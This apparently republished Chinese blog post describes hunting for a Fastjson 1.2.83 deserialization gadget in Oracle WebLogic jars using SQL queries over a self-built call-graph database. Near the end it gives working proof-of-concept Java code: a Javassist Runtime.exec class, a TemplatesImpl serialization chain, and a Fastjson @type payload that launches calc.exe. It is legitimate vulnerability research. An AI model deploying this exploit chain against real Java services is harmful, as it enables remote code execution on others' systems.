记一次 Fastjson Gadget 寻找
2023-8-27 13:52:57 Author: mp.weixin.qq.com(查看原文) 阅读量:13 收藏

0x01 起因

很早以前写了一个 Jar Analyzer GUI 工具,用于分析任意 Jar 包的内容。不过不包括反混淆等高级内容,只是简单的方法调用搜索,字符串搜索等功能。大概界面和功能如下:

这个 GUI 工具从设计上是存在很大问题的,一开始并没有想做太多太复杂的功能,所以将所有的数据信息都放在很多个大 HashMap 中,用户输入 Jar 包后信息保存到内存,输入过大的 Jar 会导致内存问题。且运行时间过慢,每一次新的分析和查询需要重复遍历几乎所有的 HashMap 结构

于是我想办法写了一个 Jar-Analyzer-Cli 工具,命令行版本,一行命令根据批量输入的 Jar 构造出数据库,然后用户自行编写 SQL 语句搜索。目前数据库表的设计糟糕,时间有限能用就行

工具写好后,需要找一个实战场景,验证工具的作用。如果一个工具写出来没有用处,那这不是合格的工具

于是我打算尝试寻找一个 Fastjson 没有拉入黑名单的 Gadget 类,在 Fastjson 1.2.83 开启 AutoType 的情况下绕过已有的黑名单即可

0x02 目标选择

网上已经有项目,公开了 Fastjson 目前的黑名单

https://github.com/LeadroyaL/fastjson-blacklist

简单分析后,发现几乎所有常见的类都被拉黑了,例如

- java.rmi com.sun jdk.internal. javax 下很多包名

- org.apache 下众多项目

不过我发现 Fastjson 拉黑的主要是开源项目,并没有拉黑一些闭源项目。于是我想到了 Oracle WebLogic Server (以下简称 Weblogic)

对于 WebLogic 来说,想要分析其中的 Gadget 是比较麻烦的,需要自行反编译到 Java 代码,然后人工或者半自动方式进行搜索。而 Weblogic 并不像 SpringBoot FatJar 那样一个 Jar 解决问题,在 wlserver 目录的modules 中有着 400 多个 Jar 包

经过思考,这个场景正好适合 Jar-Analyzer-Cli 工具

(1)Jar 巨大且数量极多,人工处理很麻烦

(2)Fastjson 的 Gadget 是有规律的,可以通过某些语句搜索

0x03 构建数据库

编译一个 Jar-Analyzer-Cli 工具,使用 java -jar 启动即可

输入命令如下:(--jar 可以传入一个 jar 或是一个 jar 目录)

java -jar jar-analyzer-cli-0.0.4.jar build --jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules

运行比较耗时,需要大约 5 分钟左右

运行后,当前目录会出现一个 jar-analyzer.db 文件,这是一个普通的 sqlite 数据库,通过 Jetbrains 自带的 Database 等工具可以直接连接

数据库的表主要有:

anno_table: 注解表,记录每个class有什么注解信息

class_file_table: class文件位置表,每个calss保存在临时文件

class_table: 类信息表,一个类的基本信息

interface_table: 接口表,一个接口的基本信息

jar_table: jar文件表,输入所有的jar信息保存在这里

member_table: 类成员变量表,例如有哪些字段

method_call_table: 方法调用表,显而易见

method_impl_table: 方法实现表,显而易见

method_table: 方法信息表,一个方法的基本信息

这里我对于表的设计很糟糕,很多表里有重复的信息,本意是为了避免查询时候跨表连接,但实际上很多查询还是离不开跨表(见后文)

0x04 分析

构建好了数据库,接下来是分析 Gadget

先给出一个基本的 SQL 语句,用于查询所有类的 getter 方法

SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'

查询方法调用表,查出来方法名和类目即可,要求调用者方法名称符合正则表达式 ^get[A-Z][a-zA-Z0-9]*$ (以 get 开头且 get 之后第一个字符是大写符合驼峰后续字符不做限制)

搜索结果如下,应该是找到了约 50万 个方法(相比一共 91万 个方法已经过滤了很多内容,接下来是一步一步地过滤)

这里获得的 getter 是真正的 getter 吗?并不是,因为 getter 的要求是方法不应该有参数,且方法应该是 public 修饰的。这个限制是比较麻烦的问题,方法调用表里不存在具体的 access 信息,按照我的表设计,这里是需要 JOIN 其他表处理

于是写出了以下这样的 SQL 语句,通过 COUNT 语句可以确认数量少了一半左右,过滤了大部分误报问题。这段 SQL 语句的含义也很简单,INNER JOIN 到 method table 主要是找到当前 caller method 的 access 信息确保和 1 按位与得到结果是 1 (1表示public)进一步过滤后约有 20 万条数据,还是有一些巨大

SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1

过滤 public 是因为一开始的测试中我忽略这里之后,出现了很多 protected private 格式的 getter 但是无法利用

由于我们已知 Fastjson 的黑名单包括了 Apache 部分组件以及 com.sun 等包,所以这里可以对 class name 做进一步的过滤:

仅允许 weblogc/* 和 com/bea/* 两种(通过 LIKE 语句)

SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (    mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')

搜索到的结果如下,已经是我们需要的类了

(虽然加入了层层过滤,但是这里也有一共 11万 条数据)

现在拿到了 getter 方法,需要考虑我们要找的 callee 方法调用目标是什么。暂时只考虑第一层目标

一层 getA -> context.lookup 或 runtime.exec 等操作

多层 getA -> methodB -> methodC -> ... -> context.lookup等

跨多个方法的调用是否可以用 SQL 做呢?留个悬念

0x05 进阶分析

回到主题,接下来需要确认 callee 方法有哪些(或大家说的 sink) 

(1)Context lookup 触发 JNDI (最常见)

(2)Runtime exec / ProcessBuilder 等 (感觉不常见)

(3)ObjectInputStream readObject

(4)defineClass 等操作,这里就不考虑了

(5)各种文件相关操作,这里就不考虑了

来写一个 Context lookup 的 SQL 语句吧,在上文的 SQL 语句基础上,加了两个新条件 callee class name 和 callee method name

SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (    mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')AND mct.callee_class_name = 'javax/naming/Context'AND mct.callee_method_name = 'lookup'

终于,我们成功拿到了可以人工分析的数据:仅11条

接着人工分析,从 getEJBLocalHome 来看 Field 和 getter 名称不是真正匹配,且要求参数是 Name 类型,该类型无法通过其他思路构造,因为 Fastjson 已经拉黑了 javax/naming 下的类

再例如 getDomainName 等地方,实际上 lookup 内容是不可控的

这条路堵死,或者至少第一层调用这里没有办法

准备下一个规则:Runtime exec (仅修改 callee 条件即可)

SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (    mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')AND mct.callee_class_name = 'java/lang/Runtime'AND mct.callee_method_name = 'exec'

找到一处:JavaExec

看起来确实可以,但是目标类不存在 process 属性(这是一个符合 getter 规范的方法,但实际上不是 getter 方法,所以感觉应该有一个字段表,再连接过来确认某个属性是否存在,需要更复杂的 SQL)

对于 ProcessBuilder 和 readObject 方法,搜不到对应的 getter

0x06 多层分析

现在直接的分析已经确定是找不到我们希望的目标了,被迫只能使用更复杂的 SQL 语句来做两层调用

getX -> methodA -> context.lookup / ois.readObject

这样的 SQL 语句写起来会有一些难度,大致的思路是这样:先 SELECT 拿到所有调用 ctx.lookup 方法的 caller 信息,然后这个 caller 作为 callee 查询方法调用表里所有的新 caller 信息。这个新 caller 信息如果匹配到了 getter 方法规范,且它属于 weblogic 或 com/bea 下的类,那么把这个 getter 方法和它的类名查出来

这里老 caller 作为新 caller 的 callee 可能大家无法理解:

(1)a 方法调用了 readObject 方法

此时 a 方法是 caller callee 是 readObject,a 是 老 caller

(2)b 方法调用了 a 方法

此时新 caller 是 b 方法,老 caller a 其实是此时的 callee 方法

SELECT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mct         INNER JOIN (    SELECT DISTINCT caller_class_name, caller_method_name    FROM method_call_table mct1    WHERE mct1.callee_class_name = 'javax/naming/Context'      AND mct1.callee_method_name = 'lookup') AS callee_info ON mct.callee_class_name = callee_info.caller_class_name    AND mct.callee_method_name = callee_info.caller_method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'  AND mct.caller_method_desc LIKE '%()%'  AND (            mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'    )

搜到约 30 条结果,看到其中有 RowSet 字符,凭借对 Fastjson 的了解,感觉这里大概率会有问题

来看一下 weblogic/jdbc/rowset/JdbcRowSetImpl 类吧

有戏,初步编写 PoC 测试 Fastjson 1.2.83 竟然是黑名单

我继续人工分析了几个筛选出来的类,发现由于各种各样的原因,无法作为 Fastjson 的 Gadget 类

下一步搜索 readObject 方法,思路还是一样,先 SELECT 出 readObject 的所有 caller 方法,作为 callee 再查 caller 并过滤 getter

SELECT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mct         INNER JOIN (    SELECT DISTINCT caller_class_name, caller_method_name    FROM method_call_table mct1    WHERE mct1.callee_class_name = 'java/io/ObjectInputStream'      AND mct1.callee_method_name = 'readObject') AS callee_info ON mct.callee_class_name = callee_info.caller_class_name    AND mct.callee_method_name = callee_info.caller_method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'  AND mct.caller_method_desc LIKE '%()%'  AND (            mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%'    )

结果有 10 条左右

其中的一个 getObj 方法一眼看去有操作

weblogic.wsee.reliability2.saf.SequenceSAFMap$ExternalizableWrapper 内部类的 getObj 方法

代码如上图,分析发现 getObj 调用了 getObjFromBytes 方法,在该方法中存在 readObject 原生反序列化

0x07 复现新 Gadget

我们成功从50万以上的方法中,一步一步筛选为 11 万,最终找到 10 条可能的数据,结合人工分析后,发现了一处反序列化的 Gadget

遗憾的是,这里的 _bytes 属性是私有的,需要借助 Fastjson 的 Feature.SupportNonPublicField 属性才可以设置

至于反序列化打哪一条链子,这不是问题:

我们可以使用 Fastjson 1.2.83 自己打自己 (Y4tacker师傅博客)

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

构造 Fastjson 1.2.83 对应的原生 Gadget 代码

  public static byte[] genPayload(String cmd) throws Exception {      ClassPool pool = ClassPool.getDefault();      CtClass clazz = pool.makeClass("a");      CtClass superClass = pool.get(AbstractTranslet.class.getName());      clazz.setSuperclass(superClass);      CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);      constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");      clazz.addConstructor(constructor);      clazz.getClassFile().setMajorVersion(49);      return clazz.toBytecode();  }
public static byte[] getPayload(String cmd) throws Exception{ TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd)}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates, bd); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close();
return byteArrayOutputStream.toByteArray(); }

构造 Fastjson 的 Payload

(Fastjson的特性,字节数组传参需要设置为Base64格式)

  public static void main(String[] args)throws Exception {      byte[] serBytes = Y4HackJSON.getPayload("calc.exe");      String ser = Base64.getEncoder().encodeToString(serBytes);      String json = "{{\"@type\":\"weblogic.wsee.reliability2.saf.SequenceSAFMap$ExternalizableWrapper\"," +              "\"_bytes\":\"" + ser + "\"}:\"a\"}";      Object obj = JSONObject.parse(json,              Feature.SupportAutoType,              Feature.SupportNonPublicField      );      System.out.println(obj);  }

由于 weblogic 的 jar 众多,全部导入不是很好的做法,经过我的分析发现,这里测试只导入两个 jar 即可复现反序列化

com.oracle.weblogic.jms.jar

com.oracle.webservices.wls.jaxws-wlswss-client.jar

运行后成功弹出计算器

(看到调用栈里包含了 getObj -> getObjFromBytes)

0x08 总结

这篇文章讲了一次 Fastjson Gadget 寻找的过程

(1)从 weblogic 一共 400 多个 Jar 中构建数据库

(2)分析得到数百万个方法以及50万条可能的链

(3)一步一步缩小,从50万到20万再到10万条数据

(4)getter 直接调用搜索,发现不存在可利用点

(5)尝试构造复杂的 SQL 语句进行二层调用搜索

(6)最终从50万筛选到数十条数据,结合人工分析找到可利用的点

但是,这篇文章没有实战价值,因为:

(1)WebLogic 真正的运行环境是否包含了这个依赖

(2)WebLogic 全局反序列化黑名单可能使用 TemplatesImpl

(3)开 AutuType 已经够罕见了,更何况 SupportNonPublicField 属性,整个 Github 也搜不到几处同时开启这两个属性的例子

通过这次尝试,我编写 SQL 语句的能力有了一些提高,也发现 SQL 语句的强大,可以做到很多一开始想不到的事情

中间我忽略了很多,比如人工审最终过滤的几十条只是凭感觉在做,而不是每一个类都细看;比如最终 callee 方法(或者说 sink 点)只选择了最常见的几种,可能还有文件操作或者其他姿势的RCE;比如我只分析了 Oracle WebLogic Server 但是还有很多很多组件目前没有在黑名单中看到(JBoss WebSphpere ColdFusion等)


文章来源: https://mp.weixin.qq.com/s?__biz=MzkzOTQzOTE1NQ==&mid=2247483776&idx=1&sn=65095fa1689cf74fb376ec7fdf05f4f5&chksm=c2f1a4dcf5862dca7b4f12850269a2da57b4f45c4a556cafe42243af8683a8a85e202c2e1c29&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh